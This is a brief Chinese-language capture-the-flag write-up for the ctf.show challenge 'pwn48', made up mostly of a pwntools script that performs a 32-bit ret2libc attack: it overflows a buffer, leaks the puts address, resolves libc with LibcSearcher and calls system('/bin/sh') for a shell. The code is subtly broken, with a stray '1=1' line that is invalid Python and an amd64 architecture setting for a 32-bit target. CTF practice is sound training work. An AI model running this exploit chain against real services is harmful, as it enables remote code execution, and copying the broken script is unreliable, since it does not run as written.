pwn48

没有write了，试试用puts吧，更简单了呢

检查保护，同样也只开了代码执行保护，32位程序，最最最常规的ret2libc

from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from LibcSearcher import * # type: ignore
from MyPwn import*

#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'

host='pwn.challenge.ctf.show'
port=28114
file_name='pwn'

Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================

local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)

def Start():
    if args.C:
        ROPgadget(local_libc)
        exit(0)
    elif args.G:
        gdbscript = f'b *{Breakpoint_NoPIE}'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.GP:
        gdbscript = f'b *$rebase({Breakpoint_PIE})'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.P:
        io = process(local_file)
    else:
        io = remote(host,port)
    return io

def Exp():
    1=1
    main_add = 0x0804863D
    puts_got = elf.got['puts']
    puts_plt = elf.plt['puts']

    print("Puts_got: ",hex(puts_got))
    print("Puts_plt: ",hex(puts_plt))

    offset=0x6B

    payload1 = b'a' * (offset+4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
    io.sendlineafter(b'O.o?', payload1)
    puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
    print("Puts_addr: ",hex(puts_addr))

    libc = LibcSearcher('puts',puts_addr)   # libc6-i386_2.27-3ubuntu1_amd64

    libc_base = puts_addr - libc.dump('puts')
    system_add = libc_base + libc.dump('system')
    bin_sh_add = libc_base + libc.dump('str_bin_sh')

    # libc_base = puts_addr - libc.symbols['puts']
    # system_add = libc_base + libc.symbols['system']
    # bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

    payload2 = b'a' * (offset+4) + p32(system_add) + p32(0) + p32(bin_sh_add)
    io.sendlineafter(b'O.o?', payload2)

if __name__=='__main__':
    io=Start()
    Exp()
    io.interactive()